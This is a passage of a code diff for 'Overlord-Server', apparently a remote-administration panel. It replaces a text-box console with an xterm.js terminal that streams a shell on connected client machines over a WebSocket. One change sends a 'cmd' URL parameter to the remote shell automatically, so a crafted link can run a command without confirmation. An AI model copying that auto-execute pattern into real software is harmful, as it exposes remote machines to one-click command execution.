- overflow-wrap: normal;
- word-break: normal;
- line-height: 1.5;
- font-size: 14px;
- color: #e8edf2;
- box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.02);
-}
-
-.console-pre {
- margin: 0;
- white-space: pre;
- display: block;
- width: max-content;
- min-width: 0;
- text-align: left;
-}
-
-.console-input-row {
- display: flex;
- gap: 10px;
- align-items: center;
- background: rgba(255, 255, 255, 0.02);
- border: 1px solid rgba(255, 255, 255, 0.06);
- border-radius: 10px;
padding: 10px 12px;
+ box-sizing: border-box;
+ box-shadow: inset 0 0 0 1px rgba(255, 255, 255, 0.02);
+ overflow: hidden;
}
-.console-input-row .prompt {
- color: #6ee7b7;
+.console-terminal .xterm,
+.console-terminal .xterm-viewport,
+.console-terminal .xterm-screen {
+ background: transparent !important;
}
-.console-input-row textarea {
- flex: 1;
- resize: vertical;
- min-height: 44px;
- max-height: 160px;
- background: transparent;
- border: none;
- color: #e8edf2;
- font-size: 14px;
- outline: none;
+.console-terminal .xterm-viewport::-webkit-scrollbar {
+ width: 10px;
}
-
-.console-buttons {
- display: flex;
- gap: 8px;
+.console-terminal .xterm-viewport::-webkit-scrollbar-thumb {
+ background: rgba(255, 255, 255, 0.12);
+ border-radius: 8px;
}
.btn,
@@ -160,12 +111,35 @@
background: rgba(255, 255, 255, 0.06);
}
-.status-pill {
- padding: 8px 12px;
+.pill {
+ padding: 6px 10px;
border-radius: 999px;
- font-size: 13px;
+ font-size: 12px;
border: 1px solid rgba(255, 255, 255, 0.14);
background: rgba(255, 255, 255, 0.04);
+ display: inline-flex;
+ align-items: center;
+ gap: 6px;
+}
+
+.pill i {
+ font-size: 8px;
+}
+
+.pill.pill-online {
+ color: #6ee7b7;
+ border-color: rgba(110, 231, 183, 0.35);
+ background: rgba(110, 231, 183, 0.08);
+}
+
+.pill.pill-offline {
+ color: #fca5a5;
+ border-color: rgba(252, 165, 165, 0.35);
+ background: rgba(252, 165, 165, 0.08);
+}
+
+.pill.pill-ghost {
+ color: #cbd5e1;
}
@media (max-width: 720px) {
@@ -173,21 +147,12 @@
background: #050913;
}
.console-main {
- padding: 12px;
+ padding: 10px;
}
.console-card {
- padding: 12px;
+ padding: 10px;
}
- .console-input-row {
- flex-direction: column;
- align-items: stretch;
- }
- .console-buttons {
- width: 100%;
- justify-content: flex-end;
- }
- .console-buttons .btn,
- .console-buttons .button {
- width: auto;
+ .console-terminal {
+ min-height: 70vh;
}
}
diff --git a/Overlord-Server/public/assets/console.js b/Overlord-Server/public/assets/console.js
index bb9504e..9003b5b 100644
--- a/Overlord-Server/public/assets/console.js
+++ b/Overlord-Server/public/assets/console.js
@@ -1,33 +1,72 @@
-import { ansiToHtml } from "./ansi.js";
+import { Terminal } from "/vendor/xterm/xterm.mjs";
+import { FitAddon } from "/vendor/xterm/addon-fit.mjs";
+import { WebLinksAddon } from "/vendor/xterm/addon-web-links.mjs";
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
import { checkFeatureAccess } from "./feature-gate.js";
-const outputEl = document.getElementById("console-output");
+
+const containerEl = document.getElementById("terminal");
const statusPill = document.getElementById("status-pill");
const clientLabel = document.getElementById("client-label");
const hostLabel = document.getElementById("host-label");
const userLabel = document.getElementById("user-label");
const osLabel = document.getElementById("os-label");
-const form = document.getElementById("console-form");
-const input = document.getElementById("console-input");
-const ctrlcBtn = document.getElementById("ctrlc-btn");
+const reconnectBtn = document.getElementById("reconnect-btn");
+const clearBtn = document.getElementById("clear-btn");
const clientId = decodeURIComponent(
location.pathname.split("/").filter(Boolean)[0] || "",
);
const wsProto = location.protocol === "https:" ? "wss" : "ws";
const wsUrl = `${wsProto}://${location.host}/api/clients/${encodeURIComponent(clientId)}/console/ws`;
+
+const term = new Terminal({
+ cursorBlink: true,
+ fontFamily: '"JetBrains Mono", ui-monospace, Menlo, Consolas, monospace',
+ fontSize: 13,
+ scrollback: 10000,
+ allowProposedApi: true,
+ theme: {
+ background: "#050913",
+ foreground: "#e8edf2",
+ cursor: "#6ee7b7",
+ cursorAccent: "#050913",
+ selectionBackground: "rgba(110, 231, 183, 0.25)",
+ black: "#1a1d29",
+ red: "#ef4444",
+ green: "#22c55e",
+ yellow: "#eab308",
+ blue: "#60a5fa",
+ magenta: "#c084fc",
+ cyan: "#22d3ee",
+ white: "#e8edf2",
+ brightBlack: "#475569",
+ brightRed: "#f87171",
+ brightGreen: "#4ade80",
+ brightYellow: "#facc15",
+ brightBlue: "#93c5fd",
+ brightMagenta: "#d8b4fe",
+ brightCyan: "#67e8f9",
+ brightWhite: "#f8fafc",
+ },
+});
+const fit = new FitAddon();
+term.loadAddon(fit);
+term.loadAddon(new WebLinksAddon());
+term.open(containerEl);
+
let ws = null;
let connected = false;
-let outputBuffer = "";
-let hasOutput = false;
+let sessionClosed = false;
+let offlineNotified = false;
+let lastSize = { cols: 0, rows: 0 };
+let resizeTimer = 0;
-const urlParams = new URLSearchParams(window.location.search);
-const prefilledCommand = urlParams.get("cmd");
-if (prefilledCommand && input) {
- setTimeout(() => {
- input.value = prefilledCommand;
- input.focus();
- }, 1000);
+function tryFit() {
+ try {
+ fit.fit();
+ } catch {
+ /* ignore: container not yet measured */
+ }
}
function setStatus(label, tone = "pill-offline") {
@@ -36,32 +75,46 @@ function setStatus(label, tone = "pill-offline") {
statusPill.innerHTML = ` ${label}`;
}
-function appendSystem(text) {
- outputBuffer += `\n[system] ${text}\n`;
- renderOutput();
+function writeSystem(msg) {
+ term.writeln(`\x1b[2m[${msg}]\x1b[0m`);
}
-function appendOutput(text) {
- outputBuffer += text;
- renderOutput();
+function sendResize() {
+ if (sessionClosed) return;
+ if (!ws || ws.readyState !== WebSocket.OPEN) return;
+ const cols = term.cols;
+ const rows = term.rows;
+ if (!cols || !rows) return;
+ if (cols === lastSize.cols && rows === lastSize.rows) return;
+ lastSize = { cols, rows };
+ ws.send(encodeMsgpack({ type: "resize", cols, rows }));
}
-function renderOutput() {
- if (!outputEl) return;
- const normalized = outputBuffer.replace(/\r\n/g, "\n").replace(/\r/g, "\n");
- outputEl.innerHTML = `
${ansiToHtml(normalized)}`;
- outputEl.scrollTop = outputEl.scrollHeight;
+function applyOutput(data) {
+ if (!data) return;
+ if (data instanceof Uint8Array) {
+ term.write(data);
+ } else if (typeof data === "string") {
+ term.write(data);
+ } else if (data?.buffer instanceof ArrayBuffer) {
+ term.write(new Uint8Array(data.buffer, data.byteOffset ?? 0, data.byteLength));
+ }
}
function connect() {
- appendSystem("Connecting to console...");
- setStatus("Connecting...", "pill-offline");
+ sessionClosed = false;
+ setStatus("Connecting...", "pill-ghost");
+ writeSystem("Connecting...");
+
ws = new WebSocket(wsUrl);
ws.binaryType = "arraybuffer";
ws.addEventListener("open", () => {
connected = true;
setStatus("Connected", "pill-online");
+ term.options.disableStdin = false;
+ tryFit();
+ sendResize();
});
ws.addEventListener("message", (event) => {
@@ -74,32 +127,36 @@ function connect() {
if (hostLabel) hostLabel.textContent = payload.host || "unknown";
if (userLabel) userLabel.textContent = payload.user || "unknown";
if (osLabel) osLabel.textContent = payload.os || "unknown";
- setStatus("Connected", "pill-online");
+ setStatus("Live", "pill-online");
break;
case "status":
if (payload.status === "offline") {
setStatus("Offline", "pill-offline");
- appendSystem(payload.reason || "Client offline");
- } else if (payload.status === "connecting" && !hasOutput) {
- setStatus("Connecting...", "pill-ghost");
+ if (!offlineNotified) {
+ offlineNotified = true;
+ writeSystem(payload.reason || "Client offline");
+ }
+ sessionClosed = true;
+ term.options.disableStdin = true;
} else if (payload.status === "closed") {
setStatus("Closed", "pill-offline");
- appendSystem(payload.reason || "Console closed");
+ writeSystem(payload.reason || "Console closed");
+ sessionClosed = true;
+ term.options.disableStdin = true;
+ } else if (payload.status === "online") {
+ offlineNotified = false;
}
break;
- case "output": {
- if (payload.data) {
- hasOutput = true;
- setStatus("Live", "pill-online");
- appendOutput(payload.data);
- }
- if (payload.error) appendSystem(payload.error);
+ case "output":
+ applyOutput(payload.data);
+ if (payload.error) writeSystem(payload.error);
if (typeof payload.exitCode === "number") {
- appendSystem(`Process exited (${payload.exitCode})`);
+ term.writeln(`\r\n\x1b[33m[Process exited (${payload.exitCode})]\x1b[0m`);
setStatus("Closed", "pill-offline");
+ sessionClosed = true;
+ term.options.disableStdin = true;
}
break;
- }
default:
break;
}
@@ -109,7 +166,8 @@ function connect() {
if (!connected) return;
connected = false;
setStatus("Disconnected", "pill-offline");
- appendSystem("Connection closed");
+ if (!sessionClosed) writeSystem("Connection closed");
+ term.options.disableStdin = true;
});
ws.addEventListener("error", () => {
@@ -117,40 +175,41 @@ function connect() {
});
}
-function sendInput(value) {
- if (!ws || ws.readyState !== WebSocket.OPEN) {
- appendSystem("Socket not ready");
- return;
- }
- ws.send(encodeMsgpack({ type: "input", data: value }));
-}
+term.onData((d) => {
+ if (!ws || ws.readyState !== WebSocket.OPEN) return;
+ if (sessionClosed) return;
+ ws.send(encodeMsgpack({ type: "input", data: d }));
+});
-function wireInput() {
- if (!form || !input) return;
+term.onResize(() => {
+ sendResize();
+});
- form.addEventListener("submit", (e) => {
- e.preventDefault();
- const value = input.value;
- if (!value.trim()) {
- input.value = "";
- return;
+window.addEventListener("resize", () => {
+ clearTimeout(resizeTimer);
+ resizeTimer = setTimeout(tryFit, 120);
+});
+
+reconnectBtn?.addEventListener("click", () => {
+ try { ws?.close(); } catch { /* ignore */ }
+ term.reset();
+ connect();
+});
+
+clearBtn?.addEventListener("click", () => {
+ term.clear();
+});
+
+requestAnimationFrame(() => {
+ tryFit();
+ checkFeatureAccess("console", clientId).then((ok) => ok && connect());
+});
+
+const prefilledCommand = new URLSearchParams(window.location.search).get("cmd");
+if (prefilledCommand) {
+ setTimeout(() => {
+ if (ws?.readyState === WebSocket.OPEN && !sessionClosed) {
+ ws.send(encodeMsgpack({ type: "input", data: prefilledCommand + "\r" }));
}
- const text = value.endsWith("\n") ? value : `${value}\n`;
- sendInput(text);
- input.value = "";
- input.focus();
- });
-
- input.addEventListener("keydown", (e) => {
- if (e.key === "Enter" && !e.shiftKey) {
- e.preventDefault();
- form.dispatchEvent(new Event("submit"));
- }
- });
-
- ctrlcBtn?.addEventListener("click", () => {
- sendInput("\u0003");
- });
+ }, 1200);
}
-wireInput();
-checkFeatureAccess("console", clientId).then(ok => ok && connect());
diff --git a/Overlord-Server/public/console.html b/Overlord-Server/public/console.html
index 660c69b..40e1370 100644
--- a/Overlord-Server/public/console.html
+++ b/Overlord-Server/public/console.html
@@ -11,8 +11,9 @@
-
+
+
@@ -22,49 +23,37 @@